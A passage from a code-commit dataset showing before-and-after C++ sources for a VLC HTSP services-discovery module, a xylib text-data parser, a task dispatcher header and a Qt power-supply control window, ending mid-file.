'%s' without a password\", user);\n\n if(user)\n free(user);\n if(pass)\n free(pass);\n if(chall)\n free(chall);\n\n bool res = ReadSuccess(sd, sys, map.makeMsg(), \"authenticate\");\n if(res)\n msg_Info(sd, \"Successfully authenticated!\");\n else\n msg_Err(sd, \"Authentication failed!\");\n return res;\n}\n\nbool GetChannels(services_discovery_t *sd)\n{\n services_discovery_sys_t *sys = sd->p_sys;\n\n HtsMap map;\n map.setData(\"method\", \"enableAsyncMetadata\");\n if(!ReadSuccess(sd, sys, map.makeMsg(), \"enable async metadata\"))\n return false;\n\n std::list<uint32_t> channelIds;\n std::unordered_map<uint32_t, tmp_channel> channels;\n\n HtsMessage m;\n while((m = ReadMessage(sd, sys)).isValid())\n {\n std::string method = m.getRoot()->getStr(\"method\");\n if(method.empty() || method == \"initialSyncCompleted\")\n {\n msg_Info(sd, \"Finished getting initial metadata sync\");\n break;\n }\n\n if(method == \"channelAdd\")\n {\n if(!m.getRoot()->contains(\"channelId\"))\n continue;\n uint32_t cid = m.getRoot()->getU32(\"channelId\");\n\n std::string cname = m.getRoot()->getStr(\"channelName\");\n if(cname.empty())\n {\n std::ostringstream ss;\n ss << \"Channel \" << cid;\n cname = ss.str();\n }\n\n uint32_t cnum = m.getRoot()->getU32(\"channelNumber\");\n\n std::ostringstream oss;\n oss << \"htsp:\/\/\";\n\n char *user = var_GetString(sd, CFG_PREFIX\"user\");\n char *pass = var_GetString(sd, CFG_PREFIX\"pass\");\n if(user != 0 && user[0] != 0 && pass != 0 && pass[0] != 0)\n oss << user << \":\" << pass << \"@\";\n else if(user != 0 && user[0] != 0)\n oss << user << \"@\";\n\n const char *host = var_GetString(sd, CFG_PREFIX\"host\");\n if(host == 0 || host[0] == 0)\n host = \"localhost\";\n int port = var_GetInteger(sd, CFG_PREFIX\"port\");\n if(port == 0)\n port = 9982;\n oss << host << \":\" << port << \"\/\" << cid;\n\n channels[cid].name = cname;\n channels[cid].cid = cid;\n channels[cid].cnum = cnum;\n channels[cid].url = oss.str();\n\n channelIds.push_back(cid);\n }\n else if(method == \"tagAdd\" || method == \"tagUpdate\")\n {\n if(!m.getRoot()->contains(\"tagId\") || !m.getRoot()->contains(\"tagName\"))\n continue;\n\n std::string tagName = m.getRoot()->getStr(\"tagName\");\n\n std::shared_ptr<HtsList> chList = m.getRoot()->getList(\"members\");\n for(uint32_t i = 0; i < chList->count(); ++i)\n channels[chList->getData(i)->getU32()].tags.push_back(tagName);\n }\n }\n\n channelIds.sort([&](const uint32_t &first, const uint32_t &second) {\n return channels[first].cnum < channels[second].cnum;\n });\n\n while(channelIds.size() > 0)\n {\n tmp_channel ch = channels[channelIds.front()];\n channelIds.pop_front();\n\n ch.item = input_item_New(ch.url.c_str(), ch.name.c_str());\n if(unlikely(ch.item == 0))\n return false;\n\n ch.item->i_type = ITEM_TYPE_NET;\n for(std::string tag: ch.tags)\n services_discovery_AddItem(sd, ch.item, tag.c_str());\n\n services_discovery_AddItem(sd, ch.item, \"All Channels\");\n\n\n sys->channelMap[ch.cid] = ch;\n }\n\n return true;\n}\n\nvoid * RunSD(void *obj)\n{\n services_discovery_t *sd = (services_discovery_t *)obj;\n services_discovery_sys_t *sys = sd->p_sys;\n\n if(!ConnectSD(sd))\n {\n msg_Err(sd, \"Connecting to HTS Failed!\");\n return 0;\n }\n\n GetChannels(sd);\n\n for(;;)\n {\n HtsMessage msg = ReadMessage(sd, sys);\n if(!msg.isValid())\n return 0;\n\n std::string method = msg.getRoot()->getStr(\"method\");\n if(method.empty())\n return 0;\n\n msg_Dbg(sd, \"Got Message with method %s\", method.c_str());\n }\n\n return 0;\n}\n\nint OpenSD(vlc_object_t *obj)\n{\n services_discovery_t *sd = (services_discovery_t *)obj;\n services_discovery_sys_t *sys = new services_discovery_sys_t;\n if(unlikely(sys == NULL))\n return VLC_ENOMEM;\n sd->p_sys = sys;\n\n config_ChainParse(sd, CFG_PREFIX, cfg_options, sd->p_cfg);\n\n if(vlc_clone(&sys->thread, RunSD, sd, VLC_THREAD_PRIORITY_LOW))\n {\n delete sys;\n return VLC_EGENERIC;\n }\n\n return VLC_SUCCESS;\n}\n\nvoid CloseSD(vlc_object_t *obj)\n{\n services_discovery_t *sd = (services_discovery_t *)obj;\n services_discovery_sys_t *sys = sd->p_sys;\n\n if(!sys)\n return;\n\n if(sys->thread)\n {\n vlc_cancel(sys->thread);\n vlc_join(sys->thread, 0);\n sys->thread = 0;\n }\n\n delete sys;\n sys = sd->p_sys = 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ ascii plain text\n\/\/ Licence: Lesser GNU Public License 2.1 (LGPL)\n\/\/ $Id$\n\n#define BUILDING_XYLIB\n#include \"text.h\"\n\n#include <cerrno>\n#include <cstdlib>\n\n#include \"util.h\"\n\nusing namespace std;\nusing namespace xylib::util;\n\nnamespace xylib {\n\nconst FormatInfo TextDataSet::fmt_info(\n \"text\",\n \"ascii text\",\n \"\", \/\/ \"txt dat asc\",\n false, \/\/ whether binary\n false, \/\/ whether has multi-blocks\n &TextDataSet::ctor,\n &TextDataSet::check\n);\n\nbool TextDataSet::check(istream & \/*f*\/)\n{\n return true;\n}\n\nnamespace {\n\n\/\/ the title-line is either a name of block or contains names of columns\n\/\/ we assume that it's the latter if the number of words is the same\n\/\/ as number of columns\nvoid use_title_line(string const& line, vector<VecColumn*> &cols, Block* blk)\n{\n const char* delim = \" \\t\";\n vector<string> words;\n std::string::size_type pos = 0;\n while (pos != std::string::npos) {\n std::string::size_type start_pos = line.find_first_not_of(delim, pos);\n pos = line.find_first_of(delim, start_pos);\n words.push_back(std::string(line, start_pos, pos-start_pos));\n }\n if (words.size() == cols.size()) {\n for (size_t i = 0; i < words.size(); ++i)\n cols[i]->set_name(words[i]);\n }\n else\n blk->set_name(line);\n}\n\n} \/\/ anonymous namespace\n\nvoid TextDataSet::load_data(std::istream &f)\n{\n vector<VecColumn*> cols;\n vector<double> row; \/\/ temporary storage for values from one line\n string title_line;\n string s;\n\n bool strict = has_option(\"strict\");\n bool first_line_header = has_option(\"first-line-header\");\n \/\/ header is in last comment line - the line before the first data line\n bool last_line_header = has_option(\"last-line-header\");\n\n if (first_line_header) {\n title_line = str_trim(read_line(f));\n if (!title_line.empty() && title_line[0] == '#')\n title_line = title_line.substr(1);\n }\n\n \/\/ read lines until the first data line is read and columns are created\n string last_line;\n while (getline(f, s)) {\n \/\/ Basic support for LAMMPS log file.\n \/\/ There is a chance that output from thermo command will be read\n \/\/ properly, but because the LAMMPS log file doesn't have\n \/\/ a well-defined syntax, it can not be guaranteed.\n \/\/ All data blocks (numeric lines after `run' command) should have\n \/\/ the same columns (do not use thermo_style\/thermo_modify between\n \/\/ runs).\n if (!strict && str_startwith(s, \"LAMMPS (\")) {\n last_line_header = true;\n continue;\n }\n const char *p = read_numbers(s, row);\n \/\/ We skip lines with no data.\n \/\/ If there is only one number in first line, skip it if there\n \/\/ is a text after the number.\n if (row.size() > 1 ||\n (row.size() == 1 && (strict || *p == '\\0' || *p == '#'))) {\n \/\/ columns initialization\n for (size_t i = 0; i != row.size(); ++i) {\n cols.push_back(new VecColumn);\n cols[i]->add_val(row[i]);\n }\n break;\n }\n if (last_line_header) {\n string t = str_trim(s);\n if (!t.empty())\n last_line = (t[0] != '#' ? t : t.substr(1));\n }\n }\n\n \/\/ read all the next data lines (the first data line was read above)\n while (getline(f, s)) {\n read_numbers(s, row);\n\n \/\/ We silently skip lines with no data.\n if (row.empty())\n continue;\n\n if (row.size() < cols.size()) {\n \/\/ Some non-data lines may start with numbers. The example is\n \/\/ LAMMPS log file. The exceptions below are made to allow plotting\n \/\/ such a file. In strict mode, no exceptions are made.\n if (!strict) {\n \/\/ if it's the last line, we ignore the line\n if (f.eof())\n break;\n\n \/\/ line with only one number is probably not a data line\n if (row.size() == 1)\n continue;\n\n \/\/ if it's the single line with smaller length, we ignore it\n vector<double> row2;\n getline(f, s);\n read_numbers(s, row2);\n if (row2.size() <= 1)\n continue;\n if (row2.size() < cols.size()) {\n \/\/ add the previous row\n for (size_t i = 0; i != row.size(); ++i)\n cols[i]->add_val(row[i]);\n \/\/ number of columns will be shrinked to the size of the\n \/\/ last row. If the previous row was shorter, shrink\n \/\/ the last row.\n if (row.size() < row2.size())\n row2.resize(row.size());\n }\n \/\/ if we are here, row2 needs to be stored\n row = row2;\n }\n\n \/\/ decrease the number of columns to the new minimum of numbers\n \/\/ in line\n for (size_t i = row.size(); i != cols.size(); ++i)\n delete cols[i];\n cols.resize(row.size());\n }\n\n else if (row.size() > cols.size()) {\n \/\/ Generally, we ignore extra columns. But if this is the second\n \/\/ data line, we ignore the first line instead.\n \/\/ Rationale: some data files have one or two numbers in the first\n \/\/ line, that can mean number of points or number of colums, and \n \/\/ the real data starts from the next line.\n if (cols[0]->get_point_count() == 1) {\n purge_all_elements(cols);\n for (size_t i = 0; i != row.size(); ++i)\n cols.push_back(new VecColumn);\n }\n }\n\n for (size_t i = 0; i != cols.size(); ++i)\n cols[i]->add_val(row[i]);\n }\n\n format_assert(this, cols.size() >= 1 && cols[0]->get_point_count() >= 2,\n \"data not found in file.\");\n\n Block* blk = new Block;\n for (unsigned i = 0; i < cols.size(); ++i)\n blk->add_column(cols[i]);\n\n if (!title_line.empty())\n use_title_line(title_line, cols, blk);\n if (!last_line.empty())\n use_title_line(last_line, cols, blk);\n\n add_block(blk);\n}\n\n} \/\/ end of namespace xylib\n\n<commit_msg>removed unused header<commit_after>\/\/ ascii plain text\n\/\/ Licence: Lesser GNU Public License 2.1 (LGPL)\n\/\/ $Id$\n\n#define BUILDING_XYLIB\n#include \"text.h\"\n#include <cstdlib>\n#include \"util.h\"\n\nusing namespace std;\nusing namespace xylib::util;\n\nnamespace xylib {\n\nconst FormatInfo TextDataSet::fmt_info(\n \"text\",\n \"ascii text\",\n \"\", \/\/ \"txt dat asc\",\n false, \/\/ whether binary\n false, \/\/ whether has multi-blocks\n &TextDataSet::ctor,\n &TextDataSet::check\n);\n\nbool TextDataSet::check(istream & \/*f*\/)\n{\n return true;\n}\n\nnamespace {\n\n\/\/ the title-line is either a name of block or contains names of columns\n\/\/ we assume that it's the latter if the number of words is the same\n\/\/ as number of columns\nvoid use_title_line(string const& line, vector<VecColumn*> &cols, Block* blk)\n{\n const char* delim = \" \\t\";\n vector<string> words;\n std::string::size_type pos = 0;\n while (pos != std::string::npos) {\n std::string::size_type start_pos = line.find_first_not_of(delim, pos);\n pos = line.find_first_of(delim, start_pos);\n words.push_back(std::string(line, start_pos, pos-start_pos));\n }\n if (words.size() == cols.size()) {\n for (size_t i = 0; i < words.size(); ++i)\n cols[i]->set_name(words[i]);\n }\n else\n blk->set_name(line);\n}\n\n} \/\/ anonymous namespace\n\nvoid TextDataSet::load_data(std::istream &f)\n{\n vector<VecColumn*> cols;\n vector<double> row; \/\/ temporary storage for values from one line\n string title_line;\n string s;\n\n bool strict = has_option(\"strict\");\n bool first_line_header = has_option(\"first-line-header\");\n \/\/ header is in last comment line - the line before the first data line\n bool last_line_header = has_option(\"last-line-header\");\n\n if (first_line_header) {\n title_line = str_trim(read_line(f));\n if (!title_line.empty() && title_line[0] == '#')\n title_line = title_line.substr(1);\n }\n\n \/\/ read lines until the first data line is read and columns are created\n string last_line;\n while (getline(f, s)) {\n \/\/ Basic support for LAMMPS log file.\n \/\/ There is a chance that output from thermo command will be read\n \/\/ properly, but because the LAMMPS log file doesn't have\n \/\/ a well-defined syntax, it can not be guaranteed.\n \/\/ All data blocks (numeric lines after `run' command) should have\n \/\/ the same columns (do not use thermo_style\/thermo_modify between\n \/\/ runs).\n if (!strict && str_startwith(s, \"LAMMPS (\")) {\n last_line_header = true;\n continue;\n }\n const char *p = read_numbers(s, row);\n \/\/ We skip lines with no data.\n \/\/ If there is only one number in first line, skip it if there\n \/\/ is a text after the number.\n if (row.size() > 1 ||\n (row.size() == 1 && (strict || *p == '\\0' || *p == '#'))) {\n \/\/ columns initialization\n for (size_t i = 0; i != row.size(); ++i) {\n cols.push_back(new VecColumn);\n cols[i]->add_val(row[i]);\n }\n break;\n }\n if (last_line_header) {\n string t = str_trim(s);\n if (!t.empty())\n last_line = (t[0] != '#' ? t : t.substr(1));\n }\n }\n\n \/\/ read all the next data lines (the first data line was read above)\n while (getline(f, s)) {\n read_numbers(s, row);\n\n \/\/ We silently skip lines with no data.\n if (row.empty())\n continue;\n\n if (row.size() < cols.size()) {\n \/\/ Some non-data lines may start with numbers. The example is\n \/\/ LAMMPS log file. The exceptions below are made to allow plotting\n \/\/ such a file. In strict mode, no exceptions are made.\n if (!strict) {\n \/\/ if it's the last line, we ignore the line\n if (f.eof())\n break;\n\n \/\/ line with only one number is probably not a data line\n if (row.size() == 1)\n continue;\n\n \/\/ if it's the single line with smaller length, we ignore it\n vector<double> row2;\n getline(f, s);\n read_numbers(s, row2);\n if (row2.size() <= 1)\n continue;\n if (row2.size() < cols.size()) {\n \/\/ add the previous row\n for (size_t i = 0; i != row.size(); ++i)\n cols[i]->add_val(row[i]);\n \/\/ number of columns will be shrinked to the size of the\n \/\/ last row. If the previous row was shorter, shrink\n \/\/ the last row.\n if (row.size() < row2.size())\n row2.resize(row.size());\n }\n \/\/ if we are here, row2 needs to be stored\n row = row2;\n }\n\n \/\/ decrease the number of columns to the new minimum of numbers\n \/\/ in line\n for (size_t i = row.size(); i != cols.size(); ++i)\n delete cols[i];\n cols.resize(row.size());\n }\n\n else if (row.size() > cols.size()) {\n \/\/ Generally, we ignore extra columns. But if this is the second\n \/\/ data line, we ignore the first line instead.\n \/\/ Rationale: some data files have one or two numbers in the first\n \/\/ line, that can mean number of points or number of colums, and \n \/\/ the real data starts from the next line.\n if (cols[0]->get_point_count() == 1) {\n purge_all_elements(cols);\n for (size_t i = 0; i != row.size(); ++i)\n cols.push_back(new VecColumn);\n }\n }\n\n for (size_t i = 0; i != cols.size(); ++i)\n cols[i]->add_val(row[i]);\n }\n\n format_assert(this, cols.size() >= 1 && cols[0]->get_point_count() >= 2,\n \"data not found in file.\");\n\n Block* blk = new Block;\n for (unsigned i = 0; i < cols.size(); ++i)\n blk->add_column(cols[i]);\n\n if (!title_line.empty())\n use_title_line(title_line, cols, blk);\n if (!last_line.empty())\n use_title_line(last_line, cols, blk);\n\n add_block(blk);\n}\n\n} \/\/ end of namespace xylib\n\n<|endoftext|>"} {"text":"<commit_before>\/* -*- Mode: C++; tab-width: 4; c-basic-offset: 4; indent-tabs-mode: nil -*- *\/\n#ifndef DISPATCHER_HH\n#define DISPATCHER_HH\n\n#include <stdexcept>\n#include <queue>\n\n#include \"common.hh\"\n#include \"locks.hh\"\n\nclass Dispatcher;\n\nenum task_state {\n task_dead,\n task_running,\n task_sleeping\n};\n\nenum dispatcher_state {\n dispatcher_running,\n dispatcher_stopping,\n dispatcher_stopped\n};\n\nclass Task;\n\ntypedef shared_ptr<Task> TaskId;\n\nclass DispatcherCallback {\npublic:\n virtual ~DispatcherCallback() {}\n virtual bool callback(Dispatcher &d, TaskId t) = 0;\n};\n\nclass CompareTasks;\n\nclass Task {\nfriend class CompareTasks;\npublic:\n ~Task() { }\nprivate:\n Task(shared_ptr<DispatcherCallback> cb, int p=0, double sleeptime=0) :\n callback(cb), priority(p) {\n if (sleeptime > 0) {\n snooze(sleeptime);\n } else {\n state = task_running;\n }\n }\n\n Task(const Task &task) {\n priority = task.priority;\n state = task_running;\n callback = task.callback;\n }\n\n void snooze(const double secs) {\n LockHolder lh(mutex);\n gettimeofday(&waketime, NULL);\n advance_tv(waketime, secs);\n state = task_sleeping;\n }\n\n bool run(Dispatcher &d, TaskId t) {\n return callback->callback(d, t);\n }\n\n void cancel() {\n LockHolder lh(mutex);\n state = task_dead;\n }\n\n friend class Dispatcher;\n std::string name;\n struct timeval waketime;\n shared_ptr<DispatcherCallback> callback;\n int priority;\n enum task_state state;\n Mutex mutex;\n};\n\nclass CompareTasks {\npublic:\n bool operator()(TaskId &t1, TaskId &t2) {\n getLogger()->log(EXTENSION_LOG_DEBUG, NULL, \"Comparing two tasks\\n\");\n if (t1->state == task_running) {\n if (t2->state == task_running) {\n return t1->priority > t2->priority;\n } else if (t2->state == task_sleeping) {\n return false;\n }\n } else if (t1->state == task_sleeping && t2->state == task_sleeping) {\n return less_tv(t2->waketime, t1->waketime);\n }\n return true;\n }\n};\n\nclass Dispatcher {\npublic:\n Dispatcher() : state(dispatcher_running) { }\n\n ~Dispatcher() {\n stop();\n }\n\n TaskId schedule(shared_ptr<DispatcherCallback> callback, int priority=0,\n double sleeptime=0) {\n getLogger()->log(EXTENSION_LOG_DEBUG, NULL, \"Scheduling a new task\\n\");\n LockHolder lh(mutex);\n TaskId task(new Task(callback, priority, sleeptime));\n queue.push(task);\n mutex.notify();\n return TaskId(task);\n }\n\n TaskId wake(TaskId task) {\n cancel(task);\n TaskId oldTask(task);\n TaskId newTask(new Task(*oldTask));\n queue.push(newTask);\n mutex.notify();\n return TaskId(newTask);\n }\n\n void start();\n\n void run() {\n getLogger()->log(EXTENSION_LOG_DEBUG, NULL, \"Dispatcher starting\\n\");\n while (state == dispatcher_running) {\n LockHolder lh(mutex);\n if (queue.empty()) {\n \/\/ Wait forever\n mutex.wait();\n } else {\n TaskId task = queue.top();\n LockHolder tlh(task->mutex);\n switch (task->state) {\n case task_sleeping:\n {\n struct timeval tv;\n gettimeofday(&tv, NULL);\n if (less_tv(tv, task->waketime)) {\n tlh.unlock();\n mutex.wait(task->waketime);\n } else {\n task->state = task_running;\n }\n }\n break;\n case task_running:\n queue.pop();\n lh.unlock();\n tlh.unlock();\n try {\n if(task->run(*this, TaskId(task))) {\n reschedule(task);\n }\n } catch (std::exception& e) {\n std::cerr << \"exception caught in task \" << task->name << \": \" << e.what() << std::endl;\n } catch(...) {\n std::cerr << \"Caught a fatal exception in task\" << task->name <<std::endl;\n }\n break;\n case task_dead:\n queue.pop();\n break;\n default:\n throw std::runtime_error(\"Unexpected state for task\");\n }\n }\n }\n\n state = dispatcher_stopped;\n mutex.notify();\n getLogger()->log(EXTENSION_LOG_DEBUG, NULL, \"Dispatcher exited\\n\");\n }\n\n void stop() {\n LockHolder lh(mutex);\n if (state == dispatcher_stopped) {\n return;\n }\n getLogger()->log(EXTENSION_LOG_DEBUG, NULL, \"Stopping dispatcher\\n\");\n state = dispatcher_stopping;\n mutex.notify();\n lh.unlock();\n pthread_join(thread, NULL);\n getLogger()->log(EXTENSION_LOG_DEBUG, NULL, \"Dispatcher stopped\\n\");\n }\n\n void snooze(TaskId t, double sleeptime) {\n t->snooze(sleeptime);\n }\n\n void cancel(TaskId t) {\n t->cancel();\n }\n\nprivate:\n void reschedule(TaskId task) {\n \/\/ If the task is already in the queue it'll get run twice\n LockHolder lh(mutex);\n queue.push(task);\n }\n\n pthread_t thread;\n SyncObject mutex;\n std::priority_queue<TaskId, std::deque<TaskId >,\n CompareTasks> queue;\n enum dispatcher_state state;\n};\n\n#endif\n<commit_msg>Make the dispatcher less chatty<commit_after>\/* -*- Mode: C++; tab-width: 4; c-basic-offset: 4; indent-tabs-mode: nil -*- *\/\n#ifndef DISPATCHER_HH\n#define DISPATCHER_HH\n\n#include <stdexcept>\n#include <queue>\n\n#include \"common.hh\"\n#include \"locks.hh\"\n\nclass Dispatcher;\n\nenum task_state {\n task_dead,\n task_running,\n task_sleeping\n};\n\nenum dispatcher_state {\n dispatcher_running,\n dispatcher_stopping,\n dispatcher_stopped\n};\n\nclass Task;\n\ntypedef shared_ptr<Task> TaskId;\n\nclass DispatcherCallback {\npublic:\n virtual ~DispatcherCallback() {}\n virtual bool callback(Dispatcher &d, TaskId t) = 0;\n};\n\nclass CompareTasks;\n\nclass Task {\nfriend class CompareTasks;\npublic:\n ~Task() { }\nprivate:\n Task(shared_ptr<DispatcherCallback> cb, int p=0, double sleeptime=0) :\n callback(cb), priority(p) {\n if (sleeptime > 0) {\n snooze(sleeptime);\n } else {\n state = task_running;\n }\n }\n\n Task(const Task &task) {\n priority = task.priority;\n state = task_running;\n callback = task.callback;\n }\n\n void snooze(const double secs) {\n LockHolder lh(mutex);\n gettimeofday(&waketime, NULL);\n advance_tv(waketime, secs);\n state = task_sleeping;\n }\n\n bool run(Dispatcher &d, TaskId t) {\n return callback->callback(d, t);\n }\n\n void cancel() {\n LockHolder lh(mutex);\n state = task_dead;\n }\n\n friend class Dispatcher;\n std::string name;\n struct timeval waketime;\n shared_ptr<DispatcherCallback> callback;\n int priority;\n enum task_state state;\n Mutex mutex;\n};\n\nclass CompareTasks {\npublic:\n bool operator()(TaskId t1, TaskId t2) {\n if (t1->state == task_running) {\n if (t2->state == task_running) {\n return t1->priority > t2->priority;\n } else if (t2->state == task_sleeping) {\n return false;\n }\n } else if (t1->state == task_sleeping && t2->state == task_sleeping) {\n return less_tv(t2->waketime, t1->waketime);\n }\n return true;\n }\n};\n\nclass Dispatcher {\npublic:\n Dispatcher() : state(dispatcher_running) { }\n\n ~Dispatcher() {\n stop();\n }\n\n TaskId schedule(shared_ptr<DispatcherCallback> callback, int priority=0,\n double sleeptime=0) {\n getLogger()->log(EXTENSION_LOG_DEBUG, NULL, \"Scheduling a new task\\n\");\n LockHolder lh(mutex);\n TaskId task(new Task(callback, priority, sleeptime));\n queue.push(task);\n mutex.notify();\n return TaskId(task);\n }\n\n TaskId wake(TaskId task) {\n cancel(task);\n TaskId oldTask(task);\n TaskId newTask(new Task(*oldTask));\n queue.push(newTask);\n mutex.notify();\n return TaskId(newTask);\n }\n\n void start();\n\n void run() {\n getLogger()->log(EXTENSION_LOG_DEBUG, NULL, \"Dispatcher starting\\n\");\n while (state == dispatcher_running) {\n LockHolder lh(mutex);\n if (queue.empty()) {\n \/\/ Wait forever\n mutex.wait();\n } else {\n TaskId task = queue.top();\n LockHolder tlh(task->mutex);\n switch (task->state) {\n case task_sleeping:\n {\n struct timeval tv;\n gettimeofday(&tv, NULL);\n if (less_tv(tv, task->waketime)) {\n tlh.unlock();\n mutex.wait(task->waketime);\n } else {\n task->state = task_running;\n }\n }\n break;\n case task_running:\n queue.pop();\n lh.unlock();\n tlh.unlock();\n try {\n if(task->run(*this, TaskId(task))) {\n reschedule(task);\n }\n } catch (std::exception& e) {\n std::cerr << \"exception caught in task \" << task->name << \": \" << e.what() << std::endl;\n } catch(...) {\n std::cerr << \"Caught a fatal exception in task\" << task->name <<std::endl;\n }\n break;\n case task_dead:\n queue.pop();\n break;\n default:\n throw std::runtime_error(\"Unexpected state for task\");\n }\n }\n }\n\n state = dispatcher_stopped;\n mutex.notify();\n getLogger()->log(EXTENSION_LOG_DEBUG, NULL, \"Dispatcher exited\\n\");\n }\n\n void stop() {\n LockHolder lh(mutex);\n if (state == dispatcher_stopped) {\n return;\n }\n getLogger()->log(EXTENSION_LOG_DEBUG, NULL, \"Stopping dispatcher\\n\");\n state = dispatcher_stopping;\n mutex.notify();\n lh.unlock();\n pthread_join(thread, NULL);\n getLogger()->log(EXTENSION_LOG_DEBUG, NULL, \"Dispatcher stopped\\n\");\n }\n\n void snooze(TaskId t, double sleeptime) {\n t->snooze(sleeptime);\n }\n\n void cancel(TaskId t) {\n t->cancel();\n }\n\nprivate:\n void reschedule(TaskId task) {\n \/\/ If the task is already in the queue it'll get run twice\n LockHolder lh(mutex);\n queue.push(task);\n }\n\n pthread_t thread;\n SyncObject mutex;\n std::priority_queue<TaskId, std::deque<TaskId >,\n CompareTasks> queue;\n enum dispatcher_state state;\n};\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>#include <errno.h>\r\n#include <QMessageBox>\r\n#include <QCloseEvent>\r\n#include \"mainwindow.h\"\r\n#include \"ui_mainwindow.h\"\r\n\r\nconst char MainWindow::pol_pm[] =\r\n \"<span style='font-weight:600;'><span style='color:#ff0000;'>+<\/span> <span style='color:#0000ff;'>-<\/span><\/span>\";\r\nconst char MainWindow::pol_mp[] =\r\n \"<span style='font-weight:600;'><span style='color:#0000ff;'>-<\/span> <span style='color:#ff0000;'>+<\/span><\/span>\";\r\n\r\nMainWindow::MainWindow(QWidget *parent) :\r\n QMainWindow(parent),\r\n ui(new Ui::MainWindow),\r\n configUI()\r\n{\r\n ui->setupUi(this);\r\n\r\n QObject::connect(&configUI, SIGNAL(accepted()), this, SLOT(show()));\r\n\r\n currentTimer.setInterval(500);\r\n currentTimer.setSingleShot(false);\r\n QObject::connect(¤tTimer, SIGNAL(timeout()), this,\r\n SLOT(on_currentTimer_timeout()));\r\n}\r\n\r\nMainWindow::~MainWindow()\r\n{\r\n delete ui;\r\n}\r\n\r\nvoid MainWindow::closeEvent(QCloseEvent *event)\r\n{\r\n if (configUI.isHidden() && configUI.result() == QDialog::Accepted) {\r\n event->ignore();\r\n hide();\r\n configUI.show();\r\n\r\n return;\r\n }\r\n\r\n QMainWindow::closeEvent(event);\r\n}\r\n\r\nbool MainWindow::openDevs()\r\n{\r\n QString err_text, err_title;\r\n QString s;\r\n int err;\r\n\r\n s = settings.value(ConfigUI::cfg_powerSupplyPort).toString();\r\n err = sdp_open(&sdp, s.toLocal8Bit().constData(), SDP_DEV_ADDR_MIN);\r\n if (err < 0)\r\n goto sdp_err0;\r\n\r\n \/* Set value limit in current input spin box. *\/\r\n sdp_va_t limits;\r\n err = sdp_get_va_maximums(&sdp, &limits);\r\n if (err < 0)\r\n goto sdp_err;\r\n ui->coilCurrDoubleSpinBox->setMaximum(limits.curr);\r\n\r\n \/* Set current to actual value, avoiding anny jumps. *\/\r\n sdp_va_data_t va_data;\r\n err = sdp_get_va_data(&sdp, &va_data);\r\n if (err < 0)\r\n goto sdp_err;\r\n err = sdp_set_curr(&sdp, va_data.curr);\r\n if (err < 0)\r\n goto sdp_err;\r\n \/* Set voltage to maximum, Hall is current driven. *\/\r\n err = sdp_set_volt_limit(&sdp, va_data.volt);\r\n if (err < 0)\r\n goto sdp_err;\r\n err = sdp_set_volt(&sdp, va_data.volt);\r\n if (err < 0)\r\n goto sdp_err;\r\n\r\n sdp_lcd_info_t lcd_info;\r\n if (err < 0)\r\n goto sdp_err;\r\n ui->coilPowerCheckBox->setChecked(lcd_info.output);\r\n\r\n s = settings.value(ConfigUI::cfg_polSwitchPort).toString();\r\n if (!powerSwitch.open(s.toLocal8Bit().constData())) {\r\n err = errno;\r\n goto mag_pwr_switch_err;\r\n }\r\n\r\n bool cross;\r\n cross = powerSwitch.polarity() == PolaritySwitch::cross;\r\n ui->coilPolCrossCheckBox->setChecked(cross);\r\n\r\n \/* TODO ... *\/\r\n\r\n currentTimer.start();\r\n\r\n return true;\r\n\r\n \/\/ powerSwitch.close();\r\n\r\nmag_pwr_switch_err:\r\n if (err_title.isEmpty()) {\r\n\r\n err_title = QString::fromLocal8Bit(\r\n \"Failed to open power supply switch\");\r\n err_text = QString::fromLocal8Bit(strerror(err));\r\n }\r\n\r\nsdp_err:\r\n sdp_close(&sdp);\r\n\r\nsdp_err0:\r\n if (err_title.isEmpty()) {\r\n err_title = QString::fromLocal8Bit(\r\n \"Failed to open Manson SDP power supply\");\r\n err_text = QString::fromLocal8Bit(sdp_strerror(err));\r\n }\r\n\r\n err_text = QString(\"%1:\\n\\n%2\").arg(err_title).arg(err_text);\r\n QMessageBox::critical(this, err_title, err_text);\r\n statusBar()->showMessage(err_title);\r\n\r\n return false;\r\n}\r\n\r\nvoid MainWindow::closeDevs()\r\n{\r\n sdp_close(&sdp);\r\n}\r\n\r\nvoid MainWindow::on_coilPowerCheckBox_toggled(bool checked)\r\n{\r\n if (checked) {\r\n \/\/ FIXME\r\n \/\/ sdp_set_curr(&sdp, 0);\r\n \/\/ sdp_set_output(&sdp, true);\r\n }\r\n currentTimer.start();\r\n}\r\n\r\nvoid MainWindow::on_measurePushButton_clicked()\r\n{\r\n \/* TODO *\/\r\n}\r\n\r\nvoid MainWindow::on_currentTimer_timeout()\r\n{\r\n \/* TODO *\/\r\n}\r\n\r\nvoid MainWindow::updateCurrent()\r\n{\r\n double current;\r\n\r\n current = ui->coilCurrDoubleSpinBox->value();\r\n if (ui->coilPolCrossCheckBox->isChecked())\r\n current = -current;\r\n\r\n sdp_set_curr(&sdp, current);\r\n\r\n \/* TODO *\/\r\n}\r\n\r\nvoid MainWindow::on_coilPolCrossCheckBox_toggled(bool checked)\r\n{\r\n \/*if (checked) {\r\n powerSwitch.setPolarity(PolaritySwitch::cross);\r\n ui->polarityLabel->setText(pol_mp);\r\n } else {\r\n powerSwitch.setPolarity(PolaritySwitch::direct);\r\n ui->polarityLabel->setText(pol_pm);\r\n }*\/\r\n\r\n currentTimer.start();\r\n}\r\n\r\nvoid MainWindow::on_coilCurrDoubleSpinBox_valueChanged(double )\r\n{\r\n currentTimer.start();\r\n}\r\n\r\n\r\nvoid MainWindow::show()\r\n{\r\n if (!openDevs()) {\r\n configUI.show();\r\n\r\n return;\r\n }\r\n\r\n QWidget::show();\r\n}\r\n\r\nvoid MainWindow::startApp()\r\n{\r\n configUI.show();\r\n}\r\n\r\nvoid MainWindow::on_samplePowerCheckBox_toggled(bool )\r\n{\r\n\r\n}\r\n\r\nvoid MainWindow::on_sampleCurrDoubleSpinBox_valueChanged(double )\r\n{\r\n\r\n}\r\n\r\nvoid MainWindow::on_samplePolCrossCheckBox_toggled(bool )\r\n{\r\n\r\n}\r\n<commit_msg>Function reorder by alphabet<commit_after>#include <errno.h>\r\n#include <QMessageBox>\r\n#include <QCloseEvent>\r\n#include \"mainwindow.h\"\r\n#include \"ui_mainwindow.h\"\r\n\r\nconst char MainWindow::pol_pm[] =\r\n \"<span style='font-weight:600;'><span style='color:#ff0000;'>+<\/span> <span style='color:#0000ff;'>-<\/span><\/span>\";\r\nconst char MainWindow::pol_mp[] =\r\n \"<span style='font-weight:600;'><span 